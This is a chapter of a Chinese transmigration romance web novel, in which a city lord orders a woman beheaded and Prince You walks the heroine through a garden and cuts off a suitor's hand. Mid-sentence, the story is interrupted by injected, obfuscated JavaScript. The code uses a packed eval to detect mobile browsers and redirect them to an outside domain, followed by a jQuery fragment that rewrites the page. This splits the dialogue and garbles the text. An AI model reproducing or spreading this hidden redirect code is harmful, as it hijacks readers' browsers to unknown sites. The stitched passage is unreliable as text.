江文谋坐在远处的太师椅上。
这儿的血腥味太重,他不爱来。
这几个女人真是烦人极了,偏偏在程王在他们城主府的时候来闹事,还把幽王招了过来。
现在,让他饭都不能好好吃。
真是可恶极了。
周颜往旁边退了几步,不想让浇灌楠雁的水弄脏她自己的裙摆。
江文谋问:“你叫周颜?”
周颜答:“民女是周颜。”
江文谋:“她说你指示她伪造事实,污蔑她人,可有此事。”
周颜摇头,“民女不知道,民女突然被这位嬷嬷带来,还是一头雾水。”
楠雁被泼醒了,睁着眼睛,茫然地听着周颜说的话。
“阿颜……”
周颜打断,她看着楠雁说:“楠雁,你我虽然从小就认识,情谊不浅,但是你也不能随便把脏水泼到我头上啊,我从未叫你去诬陷他人,我周颜行得端做得正,从不屑于做这些偷鸡摸狗的事。”
楠雁气急了,她说:“胡说!明明是你跟我说奚元偷了别人的东西,你自己不敢出来指认,让我替你伸张正义,怎么现在翻脸不认了呢?”
周颜用一种可惜的眼神看着她,“楠雁,我从前觉得你活泼可爱,是个光明磊落的人,今日才知道,原来你信口开河到了如此地步,诬陷一个奚元姑娘还不够,现在又来编排诽谤我。”
江文谋依旧在气头上,都怪这个楠雁,让两位殿下觉得自己在西城管理不当。
自己的仕途,难道要折在这个小小的农家女手中吗?
江文谋说:“此人心术不正,来我城主府闹事,叫两位殿下看笑话,现如今屡教不改,依旧妄图嫁祸他人,将这个人,即可问斩。”
楠雁:“!”
听闻城主大人一向宅心仁厚,从不喜欢打打杀杀。
就是因为这样,她才敢只身前往城主府,揭发奚元的恶心。
楠雁:“城主大人,城主大人,我错了!求求您,饶我一命吧!”
话未说完,一旁的刽子手已经手起刀落,砍下项上人头。
楠雁的脑袋掉在周颜的裙边,她赶紧提起裙摆,却依旧被溅起的鲜血在裙子上落了几个污点。
屋内的血腥气更重了,江文谋不想再待。
再待下去,他的午饭不用吃了。
周颜也行了个礼,对城主说:“城主大人,既然事情已经解决,民女可以回去了吗?”
江文谋点点头。
周颜屏住呼吸,出了地牢才猛得呼吸了一口新鲜空气。
她嫌弃地掀起裙摆,看着裙子上的污渍。
系统许诺给她的大院子还没有送来,这两天,她还得住在楠雁家。
楠雁的床太小了,两个人睡过于拥挤,她这几天常常因此睡不好觉。
幸好,现在少了一个人。
今晚,她可以安心睡觉了。
-
江文谋去沐浴更衣,才回到饭桌。
程王和幽王殿下已经出去了,连带着那个叫奚元的小姑娘一起。
听说,去了城主府的后花园。
花园内,奚元一脸懵。
她不知道这两位金尊玉体的殿下来后花园赏花,为什么要把她拉上。
准确来说,是程王拉的。
刚刚程王对她说:“小姑娘一定是吓坏了,要不要跟他们一起去花园里走走。”
这程王虽然整日笑嘻嘻的,但身份摆在那儿,她哪有拒绝的份。
只能乖乖跟出来。
她是个非常敬业的穿书人。
她在书中的定位就是个绕着赵臣殊转的恋爱脑,与这两位殿下并无交集。
她也不想节外生枝。
难道,是那日将幽王殿下错认成了赵臣殊,惹他不快,现在要找她秋后算账了。
奚元想想就觉得不可能。
幽王殿下,那是个一心只有百姓、江山的事业狂魔,怎么可能计较这些小事。
到了花园门口,程王忽然说自己有东西落在饭桌上了,要回去拿。
硕大的花园里。
只剩下了他们两个人。
让奚元恍惚间想起那日两个人在屋内贴身勾引的场景。
万罗潇走在她的前面,忽然停下了脚步,问:“你知道我是谁吗?”
奚元:“啊……您是幽王殿下。”
万罗潇点点头,满意地说:“那就好。”
13. 第 13 章
远处的假山背后,拖言要回去取东西的程子岁躲在那儿。
他兴奋地握住拳头。
从未见幽王对哪个女人感兴趣,他努力创造出了二人独处的机会,万罗潇一定会感激他的。
偷看几眼后,程子岁从假山背后溜走了。
奚元与幽王独处,有些不习惯。
哪怕在现实生活中,她也很少跟男性走这么近,更不会与一个男的逛花园。
说来惭愧,她工作一直很忙,还没谈过恋爱。
她那日倒在万罗潇怀里,还有现如今日日与赵臣殊纠缠不清。
那都只是系统的任务罢了。
当不得真。
她对幽王殿下没有非分之想,原著中,这幽王殿下虽为男二,但没有任何感情线。
他的日常就是打打杀杀,或是坐于明堂之上,指点江山,给作为敌国皇子的赵臣殊使绊子。
作为一心只有赵臣殊的恋爱脑,原著里,奚元也没少骂万罗潇的坏话。
比如有一次万罗潇把赵臣殊的粮草烧了,奚元趴在赵臣殊的腿上,说,玩火会尿裤子的,万罗潇今晚一定尿裤子,叫他别生气了。
至于玩火会不会尿裤子,原著里没说。
奚元看着面前身姿挺拔如松的男人,再想到以后她得日日在赵臣殊面前骂他,更感心虚。
也没办法,人各有命,谁让他们不是同一个阵营的呢。
故事的最后,万罗潇作为男二,自然打不过具有男主光环的赵臣殊,最终成了赵国的战俘,下落不明。
卫国,举国灭。
面前那人的脚步停了下来。
奚元也跟着停了。
他转过身,问:“今日可吓着你了?”
关心我?
奚元感到无比奇怪。
她分明是个没有靠山的农家女,单恋赵臣殊,还没有任何回馈。
为什么,幽王会关心自己。
她朝幽王柔柔行了个礼,“民女胆子大,不怕这些。”
她摸到了自己衣袖中的玉佩,这不知道是什么鬼玩意,系统为什么要把这个东西当做奖励送给自己,完全就是个烫手山芋。
万罗潇点点头:“胆子大……那为何那日我抱你进屋,你闭着眼睛埋在我怀里,怕黑吗?”
奚元玩玩没想到二人独处这种尴尬的时间点,这万罗潇竟然会旧事重提。
“或许,是有一些。”
万罗潇皱眉:“原来是怕黑啊。”
还以为是她觉得自己很好闻。
心存侥幸,就会得到失望。
怕万罗潇再帮他们回忆那晚上更多的细节。
奚元干脆利落地跪了下去,求他大人不记小人过。
谁料,万罗潇正好往前几步,奚元正好跪在了他的鞋上。
想象中膝盖砸到地下青石板的刺痛并未传来。
奚元仰头看到了万罗潇无表情的脸,神色莫测。
奚元说:“幽王殿下,那日的事情都是误会,是民女眼拙,将您误认成了他人,才会有那么一场闹剧的,您大人有大量,求求你了。”
万罗潇没有回答她的示好讨饶,而是问:“你这个动不动跪的毛病是谁教的?”
奚元“啊”了一声,这位殿下的脑回路有些清奇。
这是古代,他还是幽王,怎么可能不跪呢。
奚元依旧跪在万罗潇的脚上,鼻尖可以轻触他的袖袍。
万罗潇伸手,抬起她的下巴,让她与自己对视。
“是卓殊吗?他让你跪的?”
奚元摇摇头。
这关赵臣殊什么事。
不知道现在的万罗潇知不知道卓殊就是敌国皇子赵臣殊。
应该是不知道的吧。
那大约是天生死敌的气息,让万罗潇对素不相识的卓殊也产生了厌恶的感觉,并且牵扯了到了她。
这或许,就是男人的领地意识。
跟狗一样。
万罗潇将她当成了卓殊的所有物,连带着一块儿恨。
万罗潇弯腰将她拉起,替她拍掉了裙摆上的灰尘。
他问:“你很喜欢卓殊吗?”
喜欢到日日在卓家院子里与他打情骂俏,与他肌肤相贴。
他的语气听着很阴森,虽然他长得光风霁月,刚刚扶起她的动作也很温柔。
作为恋爱脑炮灰女二,奚元坚定地说:“是的,我爱惨了他。”
没有赵臣殊,她就不能活。
万罗潇的脸上变幻莫测,良久,他叹了口气,笑了一声,没有说话,不知是何意。
他松开了刚刚搀扶起奚元的手,继续在花园里散步。
只走了两三步,忽又停下,微微侧过脸,朝着背后说:“跟上。”
奚元乖乖跟在他的身后逛花园。
他们自花园的南面一直逛到北面,一路上谁都没有说话。
只有每次道路转弯的时候,奚元总觉得万罗潇的余光打在自己脸上。
冰冷,又缠绵。
奚元走得腿都酸了。
远处,城主府家的三个公子正在亭子里念书。
远远看到幽王和一个女子走近,江启优和江启秀放下书。
大好的机会,一定要去幽王面前刷刷脸。
江启优和江启秀整理了下自己的衣服,仰着脖子,迈着正步,跟上朝似的往万罗潇跟前走去。
“西城城主江文谋之子江启优与江启秀见过幽王殿下。”
他们,挡住了万罗潇赏花的路。
奚元浑浑噩噩地跟在万罗潇身后,面前的人忽的一停,奚元撞到了他的背上。
“殿下,我们是宗老先生的学生,这个月刚回西城。”
宗老先生是京城有名的教书人,也是受人敬仰的忠臣文官。
师从宗老先生,想来才情学识不低。
万罗潇:“嗯。”
惜字如金。
江启优和江启秀还在等幽王的下文,万罗潇却抬步直接从他们身边绕了过去。
他又不是皇帝,已经不理朝政多月,出来度假才不想听这些书呆子说些正确的废话。
奚元也跟着他一起往前走。
却被一双手拉住了衣袖。
是那上不得台面的江钟。
他拉住奚元的袖子,说:“妹妹,你可还记得我。”
奚元扯了扯衣袖,从他的拉扯中挣脱出来。
她打量面前的人,阔面狐狸眼,是个眼生的。
“公子,我未曾见过你。”
江钟自我介绍:“妹妹,那日城主府宴席,我们见过的。”
奚元与他拉开几米的距离。
她可是一心只有赵臣殊的恋爱脑,怎么可以和别的男的拉拉扯扯。
成何体统。
不然剧情崩了谁负责。
奚元欠身行礼,“公子,您自重。”
两个哥哥,江启优和江启秀也在场,他们碍于幽王的权势地位不敢造次。
但他江钟不一样啊。
他只是个庶子,不需要担负家族使命,以后的城主府财产他也仅能分到一小部分。
既然如此,不如痛快活一把。
他迫不及待地扯住奚元的肩,“奚元妹妹,我叫江钟,自打那日惊鸿一瞥,我便不可自拔地看上了你
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15467349|169345||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,我想娶你。”
奚元很想给他一个过肩摔。
她朝在一旁站着的江启优和江启秀使眼色。
还不快来管管你们的弟弟!
江钟见奚元看向他们,说:“妹妹,我的两个哥哥是不可能娶你的,他们得娶世家贵女,你别看他们了,看看我吧,我才是你的如意郎君。”
不想与这人再纠缠不清。
奚元左手握住他的胳膊,朝他伪善地笑了笑。
接着手掌暗自发力,心中暗数,
三,
二,
一!
看姑奶奶不把你的胳膊捏断。
骤然间。
一柄飞叶从远处飞来,砍下江钟与奚元拉拉扯扯的左手。
刹那间,献血横飞。
一只断手落在画坛之中,将那素雅的牡丹染上血色。
奚元未反应过来,就被一双手拉扯住胳膊。
万罗潇将手挡在她的眼前,在她耳边说:“别看。”
江钟倒地不起,江启优于江启秀两个人扑通一声跪在地上,不知是何处惹恼了幽王殿下。
万罗潇捂着奚元的眼睛,伸手将她原地转了个方向,背对着那倒地不起的浪荡子和他的残肢。
“走。”
奚元被他带走。
他们继续逛花园。
由于幽王还在附近,所以即使城主府的少爷断了手,周围的人也不敢大声喧哗。
他们悄无声息地将人抬走,花园里重新回归宁静。
奚元继续跟在万罗潇的身后,当跟屁虫。
不知道这位幽王殿下,刚刚为什么会出手伤人。
为了她,在乎她?
那是不可能的。
指望一个事业批为爱杀人,跟强迫一个恋爱脑分手一样,绝无可能。
那么……
刚刚那一出……
一定就是在恐吓她!
威胁她若是还想像那日一样钻他怀里、爬他床,下场就跟江钟一样。
奚元害怕地腿一软,发抖。
万罗潇转过头,拧眉,“很冷吗?”
下午的花园阳光明媚,艳阳高照。
奚元听这句也觉得是威胁。
她答:“启禀殿下,民女身子弱,路走多了身子发软。”
万罗潇怔愣,女人都如此柔弱的吗?
他再看奚元那纤细的腰和消瘦的脸,看起来没他一半重。
那赵臣殊究竟有什么好的,让她如此念念不忘。
但君子不强人所难,她既心中只有那该死的赵臣殊,那就从了她的心意吧。
今日,与她在花园中独处良久,他已心满意足。
万罗潇说:“那送你回去。”
语气不太情愿,连奚元都能听出来。
奚元觉得他一定是嫌自己麻烦,一个萍水相逢的女子还要他幽王派人送回家,哪来那么大的脸。
奚元摆摆手,“殿下,不用了,我自己回去就行。”
万罗潇:“你不是说你走累了吗?”
其实还好……
奚元从前练过一学期的长跑和竞走。
走回去体力绰绰有余。
奚元:“是累了……这不是,卓郎会来接我的!”
万罗潇自嘲地笑笑:“卓郎……”
奚元对这位权势滔天、喜怒无常的幽王感到害怕,不等他继续发话,立马欠身行礼,“殿下,民女告退。”
接着,一溜烟跑了出去。
自由喽!
万罗潇停在原地,许久。
接着转身离去。
该死的赵臣殊。